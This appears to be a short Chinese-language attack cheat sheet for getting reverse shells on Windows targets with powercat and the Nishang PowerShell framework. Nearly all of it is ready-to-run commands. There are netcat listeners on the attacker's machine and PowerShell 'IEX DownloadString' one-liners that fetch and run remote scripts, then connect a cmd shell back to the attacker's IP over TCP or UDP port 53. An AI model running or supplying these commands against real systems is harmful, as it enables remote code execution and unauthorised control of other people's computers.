1.powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat
首先攻击者开启监听
nc -lvp 6666
或者使用powercat监听
powercat -l -p 6666
接着在目标机上反弹cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd
2.nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell
Reverse TCP shell
攻击者(192.168.159.134)开启监听:
nc -lvp 6666
目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
或者将nishang下载到攻击者本地:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
3.Reverse UDP shell
攻击者(192.168.159.134)开启监听:
nc -lvup 53
目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53